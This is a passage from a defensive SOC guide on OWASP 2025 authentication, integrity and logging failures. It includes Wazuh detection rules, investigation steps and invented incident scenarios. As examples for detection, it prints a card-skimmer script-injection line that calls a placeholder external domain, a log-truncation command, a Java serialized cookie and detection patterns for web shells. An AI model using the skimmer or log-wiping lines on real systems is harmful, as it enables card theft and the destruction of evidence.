Assessment of successful exploitation. The failures are attempts. The 112 successes from the attacking range, each followed by account changes, confirm account takeover through credential stuffing. Once logged in, the attacker only accessed each victim’s own data. That makes this an authentication failure (A07) rather than an authorization failure (A01).

Potential business impact. 112 accounts were taken over, loyalty points were stolen, and personal data and partial card details were exposed.

Incident response actions. The SOC escalates the case as High. It recommends blocking the IP range at the WAF and forcing password resets and session revocation for the 112 accounts. The fraud team reverses the point redemptions and stops orders to changed addresses. Support and privacy teams notify the affected customers.

Recommended remediation. The backend team adds rate limiting, bot detection, generic login error messages and MFA options. Continued monitoring confirms that new attempts are rate limited. The root cause is A07 Authentication Failures.

Incident Response Process

StepCategory specific actionWho
Initial triageSingle user error, brute force, spray, or stuffing? Any successes?SOC L1
Evidence collectionAuth logs, session logs, IP lists, user agents, identity provider dataSOC L1 or L2
Event correlationFailures, then success, then account changes; pivot on IP range, user agent, timingSOC L2
Severity assessmentBlocked attempts (Low or Medium), any success (High), admin or mass takeover (Critical)SOC L2
Impact assessmentAccounts compromised, actions taken, data accessedSOC with app owner and fraud team
EscalationIncident lead, identity team, app owner, fraud teamSOC
Containment recommendationBlock IPs, force resets, revoke sessions, temporarily require MFA, lock admin accountsSOC recommends; identity and app teams execute (Active Response can block IPs if pre approved)
CoordinationRate limiting, bot protection, MFA, breached password checksDevelopers, identity team
Remediation verificationAttempts now blocked or limited; no new successes from attacking rangesSOC
Documentation and closureAccounts list, timeline, losses, improvementsSOC and incident lead

Prevention and Remediation

  1. Enforce MFA, especially for admins and sensitive functions.
  2. Rate limit and progressively delay failed logins; add bot detection.
  3. Check new passwords against breached password lists; follow NIST guidance rather than forced rotation and complexity rules, as OWASP recommends.
  4. Remove default and hardcoded credentials.
  5. Use the same generic message for unknown user and wrong password.
  6. Generate a new session ID after login; set secure cookie flags; never put session IDs in URLs.
  7. Expire sessions on logout and inactivity; implement Single Logout for SSO.
  8. Log every authentication event with result and reason, and alert on patterns.

A08:2025 Software or Data Integrity Failures

Official page: OWASP A08:2025 Software or Data Integrity Failures

What Are Software or Data Integrity Failures?

Definition: Software or Data Integrity Failures happen when an application trusts code or data without verifying that it is genuine and unchanged, for example installing unsigned updates, loading scripts from untrusted sources, deploying artifacts without checking signatures, or deserializing data that a user can modify.

Key terms:

  1. Integrity means data or code has not been changed by an unauthorized party.
  2. Digital signature proves who created a file and that it was not modified.
  3. Checksum or hash comparison checks that a file matches a known good value.
  4. Serialization turns an object into text or bytes to store or send; deserialization turns it back into an object. Insecure deserialization (CWE-502) happens when the app deserializes attacker controlled data, which can lead to code execution.
  5. Subresource Integrity (SRI) is a browser feature where a <script> tag includes a hash, so the browser refuses a modified file from a CDN.
  6. Untrusted control sphere (CWE-829) means including functionality from a source you do not control.
  7. Mass assignment (CWE-915) means the app lets a request set object attributes it should not, such as isAdmin.

What weakness it represents: OWASP describes the category as failing to maintain trust boundaries and verify the integrity of software, code and data at a lower level than Software Supply Chain Failures. It focuses on assumptions about updates and critical data made without verification.

Why it happens:

  1. Auto update features download updates without signature checks.
  2. Pipelines pull artifacts or code from places that are not verified.
  3. Web pages load third party scripts without SRI.
  4. Applications put serialized objects in cookies or hidden fields and trust them when they come back.
  5. Teams assume “internal” means “trusted”.

Why attackers target it: If the system blindly trusts something the attacker can modify, the attacker gets code execution or data control without needing another vulnerability. One modified update or script reaches every user.

What can happen after successful exploitation: Remote code execution on servers, malicious code shipped to customers, card skimming scripts on checkout pages, tampered prices or permissions, session theft.

Business assets affected: application servers, build artifacts, release channels, checkout pages and payment data, user sessions, critical business data.

How Integrity Attacks Work

  1. What the attacker needs first: A way to modify something the system trusts: control of a CDN or third party script, access to an artifact store, ability to edit a cookie or parameter that contains serialized data, or a position to replace an update.
  2. What is targeted: Update mechanisms, CI/CD artifact steps, external scripts, deserialization endpoints, critical data such as price or role values sent back by the client.
  3. What the attacker sends or changes: A modified file, a malicious serialized object, a replaced script, or a tampered value.
  4. What the vulnerable application does: Uses it without checking a signature, hash or server side copy.
  5. How the attacker exploits it: The malicious code runs automatically (update, script load, deserialization) or the tampered data is accepted.
  6. What happens on success: Code execution, skimming, privilege change, or data corruption.
  7. Evidence left behind: Changed files in web roots (FIM), new hashes for known files, unsigned artifacts in deployment logs, serialized object markers in requests, server processes started by the app after a request, and outbound connections to new domains.

Integrity Failure Attack Examples

Example 1: Insecure deserialization of a state token (from the OWASP scenario)

  1. Situation: A banking style web app built with Spring Boot microservices sends the user’s state to the browser as a Base64 Java serialized object and reads it back on every request.
  2. Attacker objective: Run code on the application server.
  3. Attacker actions: Notices the value starts with rO0, the Base64 form of the Java serialization header, then uses a public tool to create a malicious object.
  4. Safe representative request:
POST /api/profile/update HTTP/1.1
Cookie: state=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeA==
  1. Vulnerable behavior: The server deserializes the cookie without checking a signature or allowed types.
  2. Attempt versus success: A modified rO0 value is an attempt (WAF or app logs may show deserialization errors). Success is shown by the Java process starting a shell or making an outbound connection right after the request.
  3. Impact: Remote code execution on the application server.

Example 2: Checkout page loads a modified third party script

  1. Situation: An online ticket seller’s checkout page includes a chat widget script from an external provider, without SRI. An internal copy of an analytics script is also served from the web root.
  2. Attacker objective: Steal card data as customers type it.
  3. Attacker actions: Gains write access to the web server through stolen deployment credentials and modifies checkout.js to add a line that sends form data to an external domain.
  4. Representative FIM diff (with report_changes enabled):
< </script>
---
> var s=document.createElement('script');s.src='https://cdn-analytics-check[.]example/l.js';document.head.appendChild(s);
  1. Vulnerable behavior: The web server serves the modified file; browsers run it because the page trusts its own scripts and has no SRI or strict Content Security Policy.
  2. Attempt versus success: The file modification itself is the compromise. Success of the skimming is shown by customer browsers requesting the external domain (seen in CSP reports, proxy logs or the external provider) and later fraud reports.
  3. Impact: Card data theft from every checkout during the exposure window.

Example 3: Unsigned artifact deployed by CI/CD

A pipeline downloads a build artifact from a shared storage bucket and deploys it without verifying its signature. An attacker who can write to the bucket replaces the artifact. The deployment log records signature_verified: false. The root problem is the missing integrity check, which is A08. (If the attacker poisoned a dependency upstream, that broader supply chain compromise is A03.)

Integrity Failure Indicators and Evidence

IndicatorWhere you see itStrength
New .php, .jsp or .aspx file in the web root outside a deployment windowWazuh FIMStrong sign of web shell or unauthorized change
Modified JavaScript on checkout or login pagesWazuh FIM with report_changesStrong
Hash of a deployed file differs from the release manifestFIM, deployment logsStrong
Deployment of an artifact with failed or skipped signature verificationCI/CD logsStrong evidence of an integrity gap
Serialized object markers (rO0AB, aced0005) in requestsAccess logs (if in URL), WAF, app logsSuspicious
Deserialization errors in application logsApp logsSuspicious to strong
Application server process spawning shells after a requestauditd, SysmonStrong
Browsers loading scripts from a new external domainCSP reports, proxy logsStrong
Mass assignment fields (for example "role":"admin") accepted in updatesApp or WAF logsStrong if the change is stored

How to Detect Integrity Failures with Wazuh FIM

Required Log Sources

SourceNecessary or optionalWhy
Wazuh FIM on web roots and application folders, with realtime and report_changesNecessaryDetects modified and new code files
FIM whodata (Linux audit or Windows audit based)RecommendedShows which user and process changed the file
CI/CD and deployment logs (JSON) with artifact hash and signature resultNecessary for pipeline integrityShows unverified deployments
Application logs (deserialization errors, rejected objects)RecommendedShows deserialization attempts
WAF logsRecommendedSees cookies and bodies with serialized data
auditd or Sysmon process events on app serversNecessary to confirm code executionShows impact
Content Security Policy violation reportsOptional, externalShows browsers loading unexpected scripts

What Wazuh Can and Cannot Detect

  1. Directly with built in features: FIM rules 550 “Integrity checksum changed.” (level 7), 553 “File deleted.” (level 7) and 554 “File added to the system.” (level 5). With report_changes, alerts include the text diff (syscheck.diff). With whodata, alerts include user and process details (syscheck.audit.*).
  2. Needs custom rules: Raise severity for executable files in web roots, modified checkout scripts, unsigned deployments, serialized object markers.
  3. Needs application or WAF logs: Deserialization in cookies and bodies.
  4. Needs external integrations: CSP reporting, code signing systems, artifact repository audit logs.
  5. Cannot be reliably detected by Wazuh alone: a malicious change hidden inside an approved deployment (FIM sees change, not intent), third party scripts modified on the provider’s CDN (no file changes on your server), and deserialization in requests that are not logged.
  6. Suspicious versus proof: FIM proves a file changed. Whether the change was unauthorized needs a change record and content review. A serialized marker proves an attempt at most; code execution evidence proves exploitation.

Wazuh Rules for Integrity Monitoring

All rules below are custom rules (examples).

Agent FIM configuration example (inside <syscheck> in the agent ossec.conf):

<directories realtime="yes" report_changes="yes" check_all="yes">/var/www</directories>

Rules:

<group name="custom_owasp,owasp_a08,">

  <!-- Custom rule (example): new server side script in the web root -->
  <rule id="100801" level="12">
    <if_sid>554</if_sid>
    <field name="file" type="pcre2">(?i)^/var/www/.+\.(php|phtml|jsp|jspx|aspx|ashx)$</field>
    <description>OWASP A08: New server side script added to web root: $(file)</description>
    <mitre>
      <id>T1505.003</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): web page or script modified to load an external script -->
  <rule id="100802" level="12">
    <if_sid>550</if_sid>
    <field name="file" type="pcre2">(?i)^/var/www/.+\.(js|html|php)$</field>
    <field name="changed_content" type="pcre2">(?i)(src\s*=\s*['"]https?://|createElement\(\s*['"]script)</field>
    <description>OWASP A08: Web file $(file) modified to load external script code</description>
    <mitre>
      <id>T1565.001</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): artifact deployed without signature verification -->
  <rule id="100803" level="12">
    <decoded_as>json</decoded_as>
    <field name="log_type">^deploy$</field>
    <field name="event">^artifact_deployed$</field>
    <field name="signature_verified">^false$</field>
    <description>OWASP A08: Artifact $(artifact) deployed to $(environment) without signature verification</description>
  </rule>

  <!-- Custom rule (example): Java serialized object marker in a URL parameter -->
  <rule id="100804" level="8">
    <if_sid>31100</if_sid>
    <url type="pcre2">(rO0AB|%72%4F%30%41%42|aced0005)</url>
    <description>OWASP A08: Java serialized object in request URL, possible deserialization attack</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

</group>

Notes:

  1. file and changed_content are FIM fields listed in the Wazuh documentation “Creating custom FIM rules”. In alerts they appear as syscheck.path and syscheck.diff. changed_content only has a value when report_changes is enabled.
  2. The rules watch /var/www, the default web root on Debian and Ubuntu servers. Servers with a different web root need that path instead, and upload, cache and log folders should be excluded to avoid noise.
  3. MITRE T1505.003 is “Server Software Component: Web Shell” and T1565.001 is “Data Manipulation: Stored Data Manipulation”.

Why these levels: New scripts in a web root and injected external script code are strong signs of compromise (level 12). Unsigned deployments are serious integrity gaps (level 12 in production; you might choose 10 for test environments). A serialized marker is an attempt (level 8).

How to test:

  1. On a lab web server with the FIM configuration above, create /var/www/html/test_upload.php. Expected: rule 100801.
  2. Add a line var s=document.createElement('script'); to a test .js file. Expected: rule 100802 with the diff in syscheck.diff.
  3. Paste into wazuh-logtest:
{"log_type":"deploy","event":"artifact_deployed","artifact":"tickets-web-2.14.0.tar.gz","environment":"production","sha256":"5a99ed0034287d64cf6e0bc76451849f2b92161e4bbca0964bb41da3093c7f4b","signature_verified":"false","pipeline":"tickets-release"}

Expected: rule 100803.

Expected alert (representative, shortened):

{
  "rule": { "level": 12, "id": "100802", "description": "OWASP A08: Web file /var/www/tickets/js/checkout.js modified to load external script code" },
  "agent": { "name": "tickets-web-01" },
  "syscheck": {
    "path": "/var/www/tickets/js/checkout.js",
    "event": "modified",
    "changed_attributes": ["size", "mtime", "md5", "sha1", "sha256"],
    "diff": "> var s=document.createElement('script');s.src='https://cdn-analytics-check[.]example/l.js';document.head.appendChild(s);",
    "audit": { "user": { "name": "deploy" }, "process": { "name": "/usr/bin/vim.basic" } }
  }
}

Investigating the Alert in Wazuh

  1. Find the alert: File Integrity Monitoring module for the agent, or Threat Hunting with rule.groups:owasp_a08 or rule.groups:syscheck.
  2. Fields to inspect: syscheck.path, syscheck.event (added, modified, deleted), syscheck.diff, syscheck.sha256_after, syscheck.uname_after, syscheck.audit.user.name, syscheck.audit.process.name (with whodata), timestamp.
  3. Source IP: For FIM, there is none. Find it by correlating the time with web access logs (upload requests, admin logins) or SSH logins on the host.
  4. Affected endpoint: agent.name and the website served from that path.
  5. User account: syscheck.audit.user.name with whodata, or the file owner, then the login records for that user.
  6. Timestamps: Change time, deployment schedule, and first request to the new or changed file in access logs.
  7. Correlate: Was there a deployment at that time? Did an upload request precede the new file? Did anyone request the new file afterwards (data.url with the file name)?
  8. Success check: Requests to a new web shell returning 200, processes started by the web server, browsers contacting the injected domain.
  9. Impact: Exposure window, number of visitors or transactions, data at risk.
  10. Document: File path, old and new hashes, diff, who changed it, how, and exposure window.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.id:(100801 or 100802)High risk web root changesImmediate review
syscheck.event:added and syscheck.path:/var/www*All new files in the web rootScript files, odd names
syscheck.path:*checkout.js*All changes to the checkout scriptCompare with release dates
rule.id:100803Unsigned deploymentsWhich pipeline and artifact
data.url:*test_upload.php*Requests to a suspicious new fileAttackers using a web shell
rule.id:100804Serialized objects in URLsThen check app logs and processes
rule.id:550 and syscheck.audit.process.name:*vim*Manual edits to monitored filesChanges outside the pipeline

Detection Limitations

  1. FIM only watches configured paths; attackers may write elsewhere.
  2. Approved deployments create many FIM events; malicious changes can hide inside them unless you compare with release hashes.
  3. Scripts modified at a third party CDN never touch your servers.
  4. Deserialization in cookies and bodies is invisible in access logs.
  5. report_changes stores file copies and can expose sensitive content in alerts; use nodiff for secret files.
  6. Improve visibility: Enable FIM with whodata on web roots, log deployments with hashes and signature results, use SRI and CSP reporting, log deserialization errors, and monitor app server process creation.

Practical SOC Investigation Scenario: Card Skimming Code Added to a Checkout Script

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. An online ticket seller hosts its checkout on Linux web servers. Wazuh FIM monitors /var/www/tickets with realtime, whodata and report_changes enabled.

Initial suspicious activity. At 01:14 on a Saturday, outside every release window, someone edits the checkout JavaScript file.

Initial detection. Custom rule 100802 fires: checkout.js was modified to load an external script.

Logs examined. The analyst reviews the FIM alert with its diff and whodata details, the SSH authentication events on the host, the access logs for checkout pages and the deployment records.

Suspicious indicators. The diff adds one line that creates a script element loading code from cdn-analytics-check[.]example, a domain the company does not use. Whodata shows the user deploy editing the file with vim, not through the release pipeline. Releases only run on Tuesdays.

Event correlation. Built in rule 5715 (“sshd: authentication success.”) records a login for deploy at 01:09 from an IP in a country where the company has no staff. The access logs show about 3,200 checkout page loads since 01:14. DevOps confirms that the deploy account uses a password and that its key had been stored in a shared wiki.

Assessment of successful exploitation. The unauthorized file modification is confirmed by FIM and whodata, and the modified file was confirmed as served to visitors. Whether card data was actually sent to the external domain still needs browser side evidence, such as CSP reports, proxy data or fraud reports, so data theft is likely but not yet confirmed.

Potential business impact. Card data from about 900 completed payments during the exposure window may have been captured.

Incident response actions. The SOC escalates the case as Critical. It recommends restoring the file from the signed release, blocking the external domain at the edge, disabling the deploy account and preserving the host for forensics. DevOps restores the file and rotates the credentials. The payments and legal teams notify the payment provider.

Recommended remediation. Deployments become key based and pipeline only. Developers add Subresource Integrity to external scripts and a strict Content Security Policy, and web root hashes are compared against the release after every deployment. The site served code that nobody verified, so the core issue is A08 Software or Data Integrity Failures. The stolen deployment credential adds an A07 aspect.

Incident Response Process

StepCategory specific actionWho
Initial triageIs the change part of an approved release? Is it a script, config or data change?SOC L1
Evidence collectionFIM alert with diff and hashes, whodata, deployment logs, access logs, a copy of the modified fileSOC L1 or L2
Event correlationLogin or upload, then file change, then requests to the file, then outbound or process activitySOC L2
Severity assessmentApproved but unverified (Medium), unauthorized change to non critical file (High), web shell or skimmer (Critical)SOC L2
Impact assessmentExposure window, visitors, transactions, systems reachedSOC with app owner
EscalationIncident lead, app owner, DevOps, payments and legal if card dataSOC
Containment recommendationRestore from signed release, remove web shells, block domains, disable accounts, isolate hostSOC recommends; DevOps and admins execute
CoordinationAdd signing, SRI, CSP, deployment hash checks, safe deserializationDevelopers, DevOps
Remediation verificationHashes match release, no new FIM alerts outside release windowsSOC
Documentation and closureTimeline, diff, root cause, new controlsSOC and incident lead

Prevention and Remediation

  1. Use digital signatures for software, updates and build artifacts, and verify them before use.
  2. Use trusted repositories and internal mirrors for packages and artifacts.
  3. Protect the CI/CD pipeline with access control, review and logging.
  4. Add Subresource Integrity to external scripts and a strict Content Security Policy.
  5. Never deserialize untrusted data; if needed, sign it and restrict allowed types.
  6. Do not trust client side copies of critical data such as prices or roles; keep them on the server.
  7. Monitor web roots and application folders with FIM and compare with release hashes.

A09:2025 Security Logging and Alerting Failures

Official page: OWASP A09:2025 Security Logging & Alerting Failures

What Are Security Logging and Alerting Failures?

Definition: Security Logging and Alerting Failures happen when an application or its environment does not record important security events, does not protect those records, or does not turn them into timely alerts, so attacks are not detected, not investigated, or detected far too late.

Key terms:

  1. Auditable event: An event that must be recorded, such as login success and failure, access control failure, admin action or payment.
  2. Log integrity: Protection against deleting or editing logs.
  3. Centralized logging: Sending logs off the host to a SIEM so local deletion does not erase evidence.
  4. Retention: How long logs are kept.
  5. Alerting threshold and use case: The defined condition that should create an alert, and the scenario it covers.
  6. Playbook: The documented steps to handle a type of alert.
  7. Log injection (CWE-117): Attacker input that adds fake lines to logs, for example with newline characters.
  8. Sensitive data in logs (CWE-532): Passwords, tokens or personal data written to logs.
  9. Insufficient logging (CWE-778): Important events are not logged at all.
  10. Alert fatigue: Too many false positives, so real alerts are missed.

What weakness it represents: OWASP says this category is hard to test and under represented in CVE data (only 723 CVEs), but very impactful for visibility, alerting and forensics. The name changed in 2025 to emphasize alerting, because logs alone do not cause action.

OWASP lists, among others, these failure situations:

  1. Logins, failed logins and high value transactions are not logged, or logged inconsistently (for example only successful logins).
  2. Warnings and errors create no or unclear log messages.
  3. Log integrity is not protected.
  4. Application and API logs are not monitored.
  5. Logs are only stored locally and not backed up.
  6. Alert thresholds and escalation processes are missing or ineffective.
  7. Penetration tests and DAST scans (for example Burp or ZAP) do not trigger alerts.
  8. Logs contain sensitive data, or log data is not encoded, enabling log injection.
  9. Too many false positives overload the SOC.
  10. Playbooks are missing or outdated.

Why it happens: Logging is treated as a developer debugging tool, not a security control. Nobody defines security use cases. Logs are not forwarded to the SIEM. Storage costs lead to short retention. Rules are never tested.

Why attackers target it: Attackers prefer environments where they will not be seen. They may also delete logs, stop agents or flood alerts to hide their activity.

What can happen: Breaches continue for months or years. OWASP’s examples include a health plan provider whose breach of children’s records may have lasted more than seven years without detection, and an airline breach discovered only when a third party hosting provider reported it.

Business assets affected: Every asset, indirectly. Also regulatory standing, because many laws require the ability to detect and report breaches.

How Attackers Exploit Missing Visibility

This category is a weakness that helps other attacks succeed. It is not usually a single attack technique. There are two patterns:

Pattern 1: Exploiting absent visibility

  1. Attacker needs: Any attack path into an application that is not logged or not monitored.
  2. Target: Systems or events without logs, such as an API with no auth logs.
  3. Attacker actions: Performs the attack normally.
  4. Vulnerable environment: Records nothing, or records it but never alerts.
  5. Result: The attack succeeds and persists. The organization learns about it from customers, partners or the press.
  6. Evidence: Missing. The investigation finds gaps instead of evidence.

Pattern 2: Actively removing visibility (defense evasion)

  1. Attacker needs: Access to a host with enough privilege.
  2. Target: Log files, logging services, the SIEM agent, audit policy.
  3. Attacker actions: Deletes or truncates logs, clears Windows event logs, stops the agent, changes audit policy, or injects fake log lines.
  4. Vulnerable environment: Allows it without alerting, and keeps logs only locally.
  5. Result: Evidence is lost and later activity is invisible.
  6. Evidence left: Log truncation events, event log cleared events, agent disconnection, audit policy change events, sudden drop in event volume. MITRE ATT&CK calls these techniques Indicator Removal (T1070) and Impair Defenses (T1562).

Logging and Alerting Failure Examples

Example 1: Attacker clears logs on a compromised web server

  1. Situation: An attacker has a shell on a Linux web server through a web shell.
  2. Attacker objective: Remove traces of the web shell requests.
  3. Attacker actions: Truncates the access log.
# Representative attacker command (for recognition only)
: > /var/log/nginx/access.log
  1. Vulnerable environment: If the log is only on the server and nobody monitors it, the evidence is gone.
  2. With Wazuh: The agent had already forwarded earlier lines to the manager, so the evidence remains in the SIEM. Built in rule 592 “Log file size reduced.” (level 8) fires because the file shrank. On Windows, clearing the Security log creates Event ID 1102, which built in rule 60117 “Windows audit log was cleared” (level 9) detects when the agent reads the Security channel with the eventchannel format.
  3. Attempt versus success: Truncation is a successful anti forensics action on the host, but it fails as evasion if logs were already centralized.
  4. Impact: Loss of local evidence; the incident becomes harder to scope if logs were not forwarded.

Example 2: Application never logs failed logins (from OWASP’s description)

  1. Situation: A partner portal logs only successful logins.
  2. Attacker objective: Guess partner passwords without being noticed.
  3. Attacker actions: Slow password guessing over weeks.
  4. Representative log content: Only lines like:
{"log_type":"auth","event":"login_success","username":"partner-ops@vendor.example","client_ip":"198.51.100.120"}

There are no login_failed events at all, so A07 detection rules can never fire.

  1. Impact: Account takeover is noticed only when the partner reports strange orders.

Example 3: Detection that never fires

A penetration tester runs an automated web scanner against production with permission. The access logs are collected, but nobody created rules for that application’s log format, so the decoder does not match and no alert appears. OWASP lists “penetration tests and DAST scans do not trigger alerts” as a sign of this category.

Log Tampering Indicators and Evidence

IndicatorWhere you see itStrength
Log file size reduced or log deletedWazuh logcollector rule 592, FIM rule 553, auditdStrong sign of tampering (check for normal rotation)
Windows Security log cleared (Event ID 1102)Windows Security log, rule 60117Strong
Windows audit policy changedRule 60112 “Windows Audit Policy changed”Suspicious to strong
Wazuh agent disconnected or stopped on a critical hostRules 504 and 506Suspicious (maintenance or attack)
Sudden drop of events from one host or log fileDashboard event countsSuspicious
Newline characters (%0d%0a) in request parametersAccess logs, built in rule 31104 includes %0A and %0D patternsSuspicious log injection attempt
Passwords, tokens or card numbers in log linesLog review, custom rulesStrong evidence of CWE-532
Known attack in another source with no matching alert in WazuhGap analysisStrong evidence of an alerting gap
Alert backlog or alerts closed without reviewSOC metricsStrong evidence of a process failure

How to Detect Log Tampering and Visibility Gaps with Wazuh

This category is different from the others. Part of the job is detecting attacks on logging. The other part is testing that your own detection works.

Required Log Sources

SourceNecessary or optionalWhy
Wazuh internal events (agent status, logcollector)NecessaryShow agents stopping and log files changing
Windows Security and System logsNecessary on Windows serversEvent log cleared, audit policy changes
Linux auditd watches on log folders and audit configRecommendedShows who modified or deleted logs
FIM on log configuration files (/etc/rsyslog.conf, web server log settings, Wazuh agent config)RecommendedDetects logging being turned off
Application logs themselvesNecessaryWithout them, A01, A06 and A07 detection is weak
An inventory of expected log sources per critical applicationNecessary (a process, not a log)Lets you notice what is missing

What Wazuh Can and Cannot Detect

  1. Directly with built in rules:
    1. 591 “Log file rotated.” (level 3) and 592 “Log file size reduced.” (level 8) from the log collector.
    2. 60117 “Windows audit log was cleared” (level 9) for Security Event ID 1102 collected with eventchannel, and 593 “Microsoft Event log cleared.” (level 9), which the agent raises when it reads logs with the legacy eventlog format.
    3. 504 “Wazuh agent disconnected.” and 506 “Wazuh agent stopped.” (level 3).
    4. 60112 “Windows Audit Policy changed” (level 8).
    5. FIM 550 and 553 on log configuration files.
  2. Needs custom rules: Raising severity for agent loss on critical servers, auditd based log tampering detection, sensitive data in logs.
  3. Needs process and governance work: Detecting missing logs. Wazuh rules react to events that arrive. They cannot natively alert on events that never arrive. You need agent status monitoring, event volume dashboards, and regular detection testing.
  4. Needs external tools: Uptime monitoring or a scheduled check that compares expected and received event counts.
  5. Cannot be detected by Wazuh alone: An application that never logs failed logins. Only a logging requirements review finds that.
  6. Important distinction: A09 is a weakness of the application and its environment. A missing Wazuh rule is a SOC detection gap. The category comparison section compares them in detail.

Wazuh Rules for Log Tampering

All rules below are custom rules (examples).

Rule logic:

  1. 100901: A process other than the web server or log rotation tools wrote to or deleted files in the web log folder (auditd).
  2. 100902: The Wazuh agent on a critical web server disconnected or stopped.
  3. 100903: A JSON application log line contains a password value or something that looks like a card number.

Supporting audit rule (example):

auditctl -w /var/log/nginx/ -p wa -k weblog_tamper
<group name="custom_owasp,owasp_a09,">

  <!-- Custom rule (example): web log folder modified by an unexpected process -->
  <rule id="100901" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">^weblog_tamper$</field>
    <field name="audit.exe" type="pcre2" negate="yes">/(nginx|logrotate|gzip)$</field>
    <description>OWASP A09: Web server log folder modified by unexpected process $(audit.exe)</description>
    <mitre>
      <id>T1070.002</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): agent lost on a critical web server -->
  <rule id="100902" level="10">
    <if_sid>504,506</if_sid>
    <match type="pcre2">(shop|portal|tickets)-web</match>
    <description>OWASP A09: Wazuh agent disconnected or stopped on a critical web server</description>
    <mitre>
      <id>T1562.001</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): sensitive data written into application logs -->
  <rule id="100903" level="7">
    <decoded_as>json</decoded_as>
    <field name="message" type="pcre2">(?i)(password\s*[=:]\s*\S+|\b\d{4}[ ]?\d{4}[ ]?\d{4}[ ]?\d{4}\b)</field>
    <description>OWASP A09: Possible sensitive data (password or card number) written to application log</description>
  </rule>

</group>

Notes:

  1. 100902 matches the agent naming convention (shop-web, portal-web, tickets-web) inside the event text. The exact wording of rule 504 and 506 events is visible in their full_log field, so the pattern should be checked against real events before deployment.
  2. 100903 may produce false positives on long numeric IDs. Tune it with your data. Consider <options>no_full_log</options> so the alert does not copy the sensitive value again; this option is used by built in rules such as 61603.
  3. MITRE T1070.002 is “Indicator Removal: Clear Linux or Mac System Logs” and T1562.001 is “Impair Defenses: Disable or Modify Tools”.

Why these levels: Log tampering by an unknown process (100901) is a strong compromise signal, level 12. A critical agent going silent (100902) needs prompt checking, level 10. Sensitive data in logs (100903) is a compliance issue, level 7.

How to test:

  1. On a lab host with the audit rule, run touch /var/log/nginx/test.log as root. Expected: rule 100901 with audit.exe showing /usr/bin/touch.
  2. Stop the agent on a lab host named, for example, shop-web-lab. A clean stop sends a stop message (rule 506). If the agent simply loses its connection, the manager marks it disconnected after agents_disconnection_time (15 minutes by default) and raises rule 504. Expected: rule 100902 in both cases.
  3. Paste into wazuh-logtest:
{"log_type":"app","level":"debug","message":"login request user=anna.k password=Summer2026! from 192.0.2.10"}

Expected: rule 100903.

  1. Detection testing (purple team): Ask an approved tester to run a DAST scan against a staging copy of a monitored application. Verify that built in rules 31103, 31105, 31151 and your custom rules fire. If they do not, you have found an A09 style gap in your own monitoring.

Expected alert (representative, shortened):

{
  "rule": { "level": 8, "id": "592", "description": "Log file size reduced." },
  "agent": { "name": "shop-web-02" },
  "location": "/var/log/nginx/access.log"
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting, filter rule.id:(592 or 60117 or 593 or 100901 or 100902).
  2. Fields to inspect: rule.id, agent.name, location (which log file), data.audit.exe, data.audit.auid, data.win.system.eventID, timestamp.
  3. Source IP: Usually none on the event itself; find the session that did it through login events on the host.
  4. Affected endpoint: agent.name, then the applications on it.
  5. User account: data.audit.auid (the original login user) on Linux. On Windows, the account that cleared the log is recorded in the Event ID 1102 event data, and Security events from the same host just before it (for example logon Event ID 4624) show who was active.
  6. Timestamps: Exactly when logs were reduced or the agent stopped; what was the last event received before?
  7. Correlate: Look at the last hour of events from the host before the gap: suspicious logins, web attacks, new files.
  8. Success check: Did the attacker destroy evidence that was not yet forwarded? Compare the last forwarded line with the time of truncation.
  9. Impact: Visibility lost for which systems and for how long.
  10. Document: Gap start and end, cause (attack, maintenance, misconfiguration), evidence recovered from other sources.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.id:592Log files that shrankNormal rotation versus truncation at odd times
rule.id:(60117 or 593)Windows event logs clearedUser who cleared them, preceding activity
rule.id:(504 or 506) and not agent.name:*lab*Agents disconnected or stoppedCritical servers, duration of silence
rule.id:60112Audit policy changes on WindowsLogging being reduced
rule.id:100901Log folder tampering by unexpected processesProcess and user
agent.name:"shop-web-02" and location:"/var/log/nginx/access.log"Events from one log sourceUse the histogram to spot silent periods
rule.id:31104 and (data.url:*%0A* or data.url:*%0a*)Newline characters in URLsPossible log injection attempts

Detection Limitations

  1. Wazuh cannot alert on logs that never exist.
  2. Native rules react to events, not to silence; use agent status and volume monitoring.
  3. Changing a log path or format breaks collection or decoding silently.
  4. Root level attackers can stop the agent; alerts depend on the manager noticing.
  5. False positives: maintenance windows, log rotation, planned agent restarts.
  6. Improve visibility: Keep a log source inventory, forward logs in near real time, protect log storage, monitor agent health, test detections regularly (purple teaming, DAST), and review alert quality to fight fatigue.

Practical SOC Investigation Scenario: A Silent Log Source Hides Credential Stuffing

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. An insurance company runs its customer portal on three NGINX servers. All three are expected to send their access logs to Wazuh.

Initial suspicious activity. One portal server stops sending access log events, while its Wazuh agent stays connected and keeps sending system logs.

Initial detection. No alert fires. During a weekly log source review, an analyst notices in the dashboard histogram that portal-web-03 has sent no access log events for six days.

Logs examined. The analyst reviews the events filtered by agent.name:"portal-web-03" and an NGINX location, the FIM events on the host, the system administrator’s change records and, after the gap is found, the server’s local access log.

Suspicious indicators. The last access log event arrived six days earlier. At that same time, built in FIM rule 550 recorded a change to /etc/nginx/nginx.conf. Its diff shows the access log path was renamed to /var/log/nginx/portal_access.log during an approved upgrade, but the Wazuh agent was still monitoring the old file.

Event correlation. A manual review of the new local log reveals three days of credential stuffing against the login API from one hosting range. The organization’s existing authentication rules would have caught it if the logs had been collected. The application team confirms that 27 accounts logged in from that range.

Assessment of successful exploitation. The stuffing attempts are confirmed attempts, and the 27 logins from the attacking range are suspected account takeovers pending user confirmation. The logging gap itself is a confirmed control failure, not an attack.

Potential business impact. Up to 27 accounts may be compromised, and one of three portal servers was a blind spot for six days.

